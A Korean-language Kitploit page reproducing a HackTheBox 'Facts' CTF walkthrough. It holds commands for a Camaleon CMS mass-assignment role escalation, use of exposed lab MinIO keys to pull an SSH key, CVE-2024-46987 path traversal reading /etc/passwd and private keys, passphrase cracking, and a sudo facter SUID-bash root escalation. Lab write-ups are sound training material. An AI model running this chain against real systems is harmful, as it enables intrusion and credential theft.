Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HackTheBox-Facts — HTB Facts는 Camaleon CMS와 MinIO를 특징으로 하는 Easy 등급 Linux 박스입니다. 공개 등록과 대량 할당(mass assignment) 취약점을 통해 관리자 액세스 권한을 획득한 다음, 관리자 설정에서 MinIO 자격 증명을 추출하세요. CVE-2024-46987 경로 탐색(path traversal)을 사용하여 SSH 개인 키를 탈취하고, 해당 암호를 크랙한 다음, GTFOBins를 통해 facter에 대한 sudo 권한을 악용하여 root로 권한을 상승시키세요. | Kitploit
도구/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

HTB Facts는 Camaleon CMS와 MinIO를 특징으로 하는 Easy 등급 Linux 박스입니다. 공개 등록과 대량 할당(mass assignment) 취약점을 통해 관리자 액세스 권한을 획득한 다음, 관리자 설정에서 MinIO 자격 증명을 추출하세요. CVE-2024-46987 경로 탐색(path traversal)을 사용하여 SSH 개인 키를 탈취하고, 해당 암호를 크랙한 다음, GTFOBins를 통해 facter에 대한 sudo 권한을 악용하여 root로 권한을 상승시키세요.

저장소 보기
2016일 전아직 검토되지 않음

HTB Facts — 전체 라이트업

OS: Linux
태그: Web, MinIO, Camaleon CMS, 경로 순회, 권한 상승


목차

  1. 정찰
  2. 웹 열거 — 포트 80
  3. MinIO 발견 — 포트 54321
  4. Camaleon CMS — 관리자 접근
  5. 관리자 역할로 권한 상승
  6. MinIO 자격 증명 발견
  7. 임의 파일 읽기 — CVE-2024-46987
  8. trivia로 SSH 접근
  9. Root로 권한 상승
  10. 플래그

정찰

열린 서비스를 식별하기 위해 전체 TCP 포트 스캔을 시작합니다.

nmap -p- --min-rate 5000 -T4 10.129.244.96

결과:

포트서비스비고
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321알 수 없음MinIO로 식별됨

/etc/hosts에 대상을 추가합니다:

echo "10.129.244.96 facts.htb" >> /etc/hosts

웹 열거 — 포트 80

http://facts.htb로 접속하면 Camaleon CMS (Ruby on Rails)로 구축된 퀴즈 웹사이트가 나타납니다. 주요 지표:

  • 쿠키 이름: _factsapp_session (Rails 세션)
  • 에셋 경로: /assets/themes/camaleon_first/
  • 메타 태그의 CSRF 토큰
  • 서버: nginx/1.26.3 (Ubuntu)

사용 가능한 모든 페이지를 확인하기 위해 사이트맵을 열거합니다:

curl -s http://facts.htb/sitemap.xml

발견된 주요 경로:

  • /admin → /admin/login으로 리다이렉트
  • /rss
  • 다양한 퀴즈 페이지: /animal-ejected, /anne-frank 등

관리자 로그인 패널을 확인합니다:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

MinIO 발견 — 포트 54321

알 수 없는 포트를 curl로 탐색하면 S3 호환 객체 스토리지 서비스인 MinIO가 나타납니다:

curl -v http://facts.htb:54321

응답:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

헤더에서 확인됨: Server: MinIO

잠재적인 버킷 이름을 탐색합니다 (403 응답만으로는 버킷이 존재한다고 확인할 수 없습니다):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

모두 403 Forbidden을 반환합니다 — 버킷은 존재하지만 자격 증명이 필요합니다.


Camaleon CMS — 관리자 접근

CMS 식별

에셋 경로와 세션 쿠키로부터 CMS가 Camaleon CMS임을 식별합니다.

알려진 취약점을 확인합니다:

searchsploit camaleon

결과:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

관리자 패널 버전은 2.9.0으로 확인됩니다 (로그인 후 푸터에서 확인 가능).

계정 생성

http://facts.htb/admin/login의 관리자 로그인 페이지에는 "Create an account" 링크가 있습니다. 새 계정을 등록합니다:

  • http://facts.htb/admin/users/sign_up으로 이동
  • 유효한 자격 증명 입력 (예: test123 / test123)
  • 제출 — Client 역할 계정이 생성됩니다

등록 후 관리자 대시보드에 로그인합니다. 이 계정은 제한된 Client 권한을 가집니다.


관리자 역할로 권한 상승

매스 어사인먼트 취약점

Camaleon CMS는 비밀번호 변경 엔드포인트에서 매스 어사인먼트 공격에 취약합니다. 비밀번호 변경 요청을 가로채고 password[role] 파라미터를 주입하면, 공격자는 자신의 역할을 admin으로 상승시킬 수 있습니다.

Burp Suite를 사용한 단계:

  1. Client 계정으로 관리자 패널에 로그인합니다.
  2. Profile → Edit → Change Password로 이동합니다.
  3. 새 비밀번호를 입력하고 Process를 클릭합니다.
  4. Burp Suite에서 POST 요청을 가로챕니다.
  5. 요청 본문에 &password[role]=admin을 추가합니다:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. 요청을 전달합니다 — 응답은 200 OK여야 합니다.
  2. 업데이트된 자격 증명으로 다시 로그인합니다.

이제 계정은 admin 권한을 가지며, Settings, Media, Filesystem Settings를 포함한 CMS 관리자 패널에 대한 전체 접근 권한을 얻습니다.


MinIO 자격 증명 발견

관리자 접근 권한으로 다음으로 이동합니다:

Settings → General Site → Filesystem Settings

이 페이지에서 하드코딩된 MinIO (AWS S3 호환) 자격 증명이 노출됩니다:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

AWS CLI를 구성하고 버킷을 열거합니다:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

발견된 버킷:

2025-09-11  internal
2025-09-11  randomfacts

internal 버킷에는 trivia 사용자의 홈 디렉토리가 포함되어 있습니다:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

임의 파일 읽기 — CVE-2024-46987

또는 CVE-2024-46987을 통해 SSH 개인 키를 획득할 수 있습니다. 이는 Camaleon CMS의 인증된 경로 순회 취약점으로, 임의의 서버 파일을 읽을 수 있습니다.

공개 PoC를 클론합니다:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

민감한 파일을 읽습니다:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

출력 (관련 줄):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

두 명의 사용자가 식별됩니다: trivia와 william. trivia는 로그인 셸과 홈 디렉토리를 가지고 있으므로 SSH 개인 키를 확인합니다:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

키 출력을 파일에 저장합니다:

chmod 600 id_ed25519

trivia로 SSH 접근

SSH 키 패스프레이즈 크래킹

SSH 개인 키는 패스프레이즈로 암호화되어 있습니다. ssh2john과 john을 사용하여 크래킹합니다:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

크래킹된 패스프레이즈: dragonballz

SSH로 로그인

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

사용자 플래그를 획득합니다:

cat /home/william/user.txt

Root로 권한 상승

Sudo 권한

trivia 사용자의 sudo 권한을 확인합니다:

sudo -l

출력:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

이 사용자는 비밀번호 없이 /usr/bin/facter를 root로 실행할 수 있습니다. facter는 Ruby 기반 시스템 정보 도구입니다.

GTFOBins — facter

GTFOBins에 따르면, facter는 --custom-dir을 통해 사용자 정의 Ruby fact 파일을 로드할 수 있으며, 이는 호출한 사용자 (이 경우 root)로 실행됩니다.

익스플로잇:

# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

Root 플래그 획득

whoami
# root

cat /root/root.txt

플래그

플래그위치
user.txt/home/william/user.txt
root.txt/root/root.txt

공격 체인 요약

Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE 및 참고 자료

CVE설명
CVE-2024-46987Camaleon CMS 인증된 경로 순회 / 임의 파일 읽기
CVE-2023-30145Camaleon CMS v2.7.0 formats 파라미터를 통한 SSTI (이 박스에서는 사용되지 않음)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
도구 다운로드